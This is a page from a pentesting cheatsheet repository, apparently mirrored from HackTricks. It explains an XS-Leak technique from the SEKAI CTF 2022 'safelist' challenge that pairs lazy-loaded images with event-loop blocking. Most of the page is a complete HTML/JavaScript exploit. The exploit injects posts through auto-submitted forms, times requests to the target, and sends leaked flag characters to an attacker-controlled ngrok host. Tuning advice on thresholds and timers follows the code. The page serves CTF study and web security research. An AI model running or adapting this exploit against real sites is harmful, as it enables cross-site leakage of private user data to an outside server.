daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

event-loop-blocking-lazy-images.md (11534B)


      1 ---
      2 title: "Event Loop Blocking + Lazy images"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/event-loop-blocking-%2B-lazy-images.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Event Loop Blocking + Lazy images
     14 
     15 In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.<sup>[[1]](#references)[[2]](#references)</sup>
     16 
     17 This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
     18 
     19 
     20 [Connection Pool Example](/hacktricks/pentesting-web/xs-search/connection-pool-example)
     21 
     22 This technique is useful when the attacker can create a **Boolean oracle** based on whether a **lazy-loaded image** is fetched or not, but **cannot** directly observe that request because of CSP, `img-src` restrictions, or `Cache-Control: no-store`. Instead of waiting for an external callback, the exploit converts image loading into a **timing side channel** by making those image requests compete with other requests.
     23 
     24 The idea behind this exploit is:<sup>[[1]](#references)[[2]](#references)</sup>
     25 
     26 - The posts are loaded alphabetically
     27 - An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
     28 - If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
     29 - Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**.
     30   - If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
     31   - If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
     32 
     33 In other words, the oracle is:
     34 
     35 - **State 1**: the attacker-controlled post is within the browser lazy-loading threshold, so `img loading=lazy` requests are issued.
     36 - **State 2**: the attacker-controlled post remains outside that threshold, so those requests are not issued.
     37 - **Leak**: the attacker measures whether those extra requests create enough contention to delay another measurable operation.
     38 
     39 Let's check the code:<sup>[[1]](#references)</sup>
     40 
     41 ```html
     42 <!DOCTYPE html>
     43 <html>
     44   <!--
     45   The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
     46   If images are loading, the request to "/" is slower, otherwise faster.
     47   By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
     48   We can use fetch to measure the request time.
     49 -->
     50   <body>
     51     <button onclick="run()">start</button>
     52 
     53     <!-- Inject post with payload -->
     54     <form
     55       id="f"
     56       action="http://localhost:1234/create"
     57       method="POST"
     58       target="_blank">
     59       <input id="inp" name="text" value="" />
     60     </form>
     61 
     62     <!-- Remove index -->
     63     <form
     64       id="f2"
     65       action="http://localhost:1234/remove"
     66       method="POST"
     67       target="_blank">
     68       <input id="inp2" name="index" value="" />
     69     </form>
     70 
     71     <script>
     72       let flag = "SEKAI{"
     73       const TARGET = "https://safelist.ctf.sekai.team"
     74       f.action = TARGET + "/create"
     75       f2.action = TARGET + "/remove"
     76 
     77       const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
     78       // Function to leak info to attacker
     79       const send = (data) => fetch("http://server.ngrok.io?d=" + data)
     80       const charset = "abcdefghijklmnopqrstuvwxyz".split("")
     81 
     82       // start exploit
     83       let count = 0
     84       setTimeout(async () => {
     85         let L = 0
     86         let R = charset.length - 1
     87 
     88         // I have omited code here as apparently it wasn't necesary
     89 
     90         // fallback to linerar since I am not familiar with binary search lol
     91         for (let i = R; i >= L; i--) {
     92           let c = charset[i]
     93           send("try_" + flag + c)
     94           const found = await testChar(flag + c)
     95           if (found) {
     96             send("found: " + flag + c)
     97             flag += c
     98             break
     99           }
    100         }
    101       }, 0)
    102 
    103       async function testChar(str) {
    104         return new Promise((resolve) => {
    105           /*
    106             For 3350, you need to test it on your local to get this number.
    107             The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
    108             If starts with "A", the image should be loaded because it's in the threshold.
    109           */
    110           // <canvas height="3350px"> is experimental and allow to show the injected
    111           // images when the post injected is the first one but to hide them when
    112           // the injected post is after the post with the flag
    113           inp.value =
    114             str +
    115             '<br><canvas height="3350px"></canvas><br>' +
    116             Array.from({ length: 20 })
    117               .map((_, i) => `<img loading=lazy src=/?${i}>`)
    118               .join("")
    119           f.submit()
    120 
    121           setTimeout(() => {
    122             run(str, resolve)
    123           }, 500)
    124         })
    125       }
    126 
    127       async function run(str, resolve) {
    128         // Open posts page 5 times
    129         for (let i = 1; i <= 5; i++) {
    130           window.open(TARGET)
    131         }
    132 
    133         let t = 0
    134         const round = 30 //Lets time 30 requests
    135         setTimeout(async () => {
    136           // Send 30 requests and time each
    137           for (let i = 0; i < round; i++) {
    138             let s = performance.now()
    139             await fetch(TARGET + "/?test", {
    140               mode: "no-cors",
    141             }).catch((err) => 1)
    142             let end = performance.now()
    143             t += end - s
    144             console.log(end - s)
    145           }
    146           const avg = t / round
    147           // Send info about how much time it took
    148           send(str + "," + t + "," + "avg:" + avg)
    149 
    150           /*
    151           I get this threshold(1000ms) by trying multiple times on remote admin bot
    152           for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
    153         */
    154           const isFound = t >= 1000
    155           if (isFound) {
    156             inp2.value = "0"
    157           } else {
    158             inp2.value = "1"
    159           }
    160 
    161           // remember to delete the post to not break our leak oracle
    162           f2.submit()
    163           setTimeout(() => {
    164             resolve(isFound)
    165           }, 200)
    166         }, 200)
    167       }
    168     </script>
    169   </body>
    170 </html>
    171 ```
    172 
    173 ## Practical caveats
    174 
    175 This trick is **fragile** and needs to be **calibrated per environment**:
    176 
    177 - The **lazy-loading distance threshold** is browser-dependent and can change with browser version, connection type, and headless/headful mode. Chromium loads off-screen images **before** they are visible, so the right `<canvas height>` is usually found empirically. Also note that modern Chromium reduced some native lazy-loading thresholds (for example, roughly `1250px` on 4G and `2500px` on slower links), so older writeups that relied on `3000px+` margins can over-estimate current behavior.<sup>[[3]](#references)[[4]](#references)</sup>
    178 - In practice, **headless Chromium** can require a **different threshold** than a normal browser. In the original writeup, a value that worked locally (`1850px`) had to be increased for the remote headless bot (`3350px`).<sup>[[2]](#references)</sup>
    179 - Native `loading="lazy"` is only **deferred when JavaScript is enabled**, so this specific oracle can disappear if the browser disables JS or changes lazy-loading behavior for privacy reasons.<sup>[[3]](#references)</sup>
    180 - Give the lazy images an explicit **size** (or place them inside a container with deterministic dimensions) while calibrating the oracle. Browsers can treat unspecified images as `0x0`, decide that they already fit in the viewport, and eagerly fetch **all** of them, destroying the signal.<sup>[[4]](#references)</sup>
    181 - If the image response is **cacheable**, later probes become noisy or useless because the browser may satisfy the request from cache. This is why cache-busting parameters or `Cache-Control: no-store` matter a lot when testing this technique.
    182 
    183 ## Reliability notes
    184 
    185 Compared to the related [connection pool example](/hacktricks/pentesting-web/xs-search/connection-pool-example), this variant does **not** need an external image callback. It only needs a measurable slowdown. That slowdown can come from:
    186 
    187 - **Server-side event-loop blocking**, such as many image requests hitting a Node.js endpoint that performs synchronous work.
    188 - **Socket / connection contention**, where the attacker saturates available connections and times how long an additional request takes.
    189 
    190 To make the oracle more stable:
    191 
    192 - Use **multiple lazy images** instead of one.
    193 - Add a **cache-buster** to every image URL.
    194 - Measure **several requests** and compare an **average/median** instead of trusting a single sample.
    195 - Recalculate the **canvas height threshold** against the same browser family and execution mode used by the victim bot.
    196 - If `performance.now()` is too noisy, fall back to another **clock** (`requestAnimationFrame`, `MessageChannel`, or even `PerformanceObserver` watching `longtask` entries) and only classify runs when the slowdown is well above the browser's timer jitter.
    197 - The same **visibility-gated fetch** idea can be generalized beyond a plain lazy `<img>`. Recent research shows equivalent Boolean oracles built from nested `<object>` / `<iframe srcdoc>` trees and **responsive images** (`srcset` + `sizes`). If those conditional subresource loads are same-origin or callback-based, they can still be converted into the exact same contention/timing oracle described here.<sup>[[5]](#references)</sup>
    198 
    199 For more timing-based leak primitives, also check:
    200 
    201 [Performance.Now + Force Heavy Task](/hacktricks/pentesting-web/xs-search/performance-now-force-heavy-task)
    202 
    203 > [!WARNING]
    204 > Some privacy-focused defenses can break the "load only after a browser-driven scroll/viewport change" assumption. For example, XS-Leaks wiki documents `Document-Policy: force-load-at-top` as a way to disable load-on-scroll behaviors such as Scroll-to-Text navigation, which can also reduce similar viewport-based oracles.
    205 
    206 ## References
    207 
    208 - [1] [SEKAI CTF 2022 "safelist" lazy-image event-loop exploit (gist)](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)
    209 - [2] [SekaiCTF 2022 - safelist (XS-Leak) writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
    210 - [3] [MDN: `<img>` element reference](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/img)
    211 - [4] [web.dev: Browser-level image lazy loading](https://web.dev/articles/browser-level-image-lazy-loading)
    212 - [5] [From XS-Leaks to SS-Leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)